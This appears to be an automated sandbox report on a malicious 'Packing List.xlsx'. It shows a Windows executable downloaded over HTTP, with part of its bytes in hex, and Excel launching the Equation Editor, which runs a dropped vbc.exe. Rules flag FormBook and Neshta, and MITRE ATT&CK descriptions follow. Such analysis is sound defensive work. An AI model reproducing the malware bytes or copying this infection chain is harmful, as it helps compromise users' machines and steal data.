Oct 27, 2021 16:33:29.934331894 CEST	1	IN	HTTP/1.1 200 OK Date: Thu, 28 Oct 2021 11:38:05 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.11 Last-Modified: Wed, 27 Oct 2021 06:07:30 GMT ETag: "39809-5cf4f68c9b908" Accept-Ranges: bytes Content-Length: 235529 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 30 28 81 e9 51 46 d2 e9 51 46 d2 e9 51 46 d2 2a 5e 19 d2 eb 51 46 d2 e9 51 47 d2 71 51 46 d2 2a 5e 1b d2 e6 51 46 d2 bd 72 76 d2 e3 51 46 d2 2e 57 40 d2 e8 51 46 d2 52 69 63 68 e9 51 46 d2 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 65 3a ff 56 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d6 01 00 00 04 00 00 fb 30 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 e0 02 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 74 00 00 a0 00 00 00 00 d0 02 00 e0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 7c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 eb 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 96 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 b0 01 00 00 90 00 00 00 06 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 e0 09 00 00 00 d0 02 00 00 0a 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$0(QFQFQF^QFQGqQF^QFrvQF.W@QFRichQFPELe:V\0p@tp\|.textZ\ `.rdatap`@@.data8r@.ndataP.rsrcx@@

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 1292 Parent PID: 596

General

Start time:	16:32:21
Start date:	27/10/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f0f0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: EQNEDT32.EXE PID: 1532 Parent PID: 596

General

Start time:	16:32:44
Start date:	27/10/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exe PID: 1836 Parent PID: 1532

General

Start time:	16:32:47
Start date:	27/10/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x400000
File size:	235529 bytes
MD5 hash:	DF330AB2A2E5AA4AC947315EE3F93992
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000005.00000002.488911564.00000000030B0000.00000004.00000001.sdmp, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: vbc.exe PID: 2228 Parent PID: 1836

General

Start time:	16:32:49
Start date:	27/10/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x400000
File size:	235529 bytes
MD5 hash:	DF330AB2A2E5AA4AC947315EE3F93992
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000006.00000000.476970202.00000000001C0000.00000040.00000001.sdmp, Author: Florian Roth Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000006.00000000.476210300.00000000001C0000.00000040.00000001.sdmp, Author: Florian Roth Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000006.00000000.475402924.00000000001C0000.00000040.00000001.sdmp, Author: Florian Roth Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000006.00000000.482711816.00000000001C0000.00000040.00000001.sdmp, Author: Florian Roth Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000006.00000000.479470505.00000000001C0000.00000040.00000001.sdmp, Author: Florian Roth Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000006.00000000.480530429.00000000001C0000.00000040.00000001.sdmp, Author: Florian Roth Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000006.00000000.484429588.00000000001C0000.00000040.00000001.sdmp, Author: Florian Roth Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000006.00000000.486527655.00000000001C0000.00000040.00000001.sdmp, Author: Florian Roth Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000006.00000000.478490697.00000000001C0000.00000040.00000001.sdmp, Author: Florian Roth Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: 00000006.00000000.474755506.00000000001C0000.00000040.00000001.sdmp, Author: Florian Roth
Reputation:	low

Disassembly

Code Analysis

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Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report Packing List.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Exploits:

System Summary:

Jbx Signature Overview

AV Detection:

Exploits:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 1292 Parent PID: 596

General

Analysis Process: EQNEDT32.EXE PID: 1532 Parent PID: 596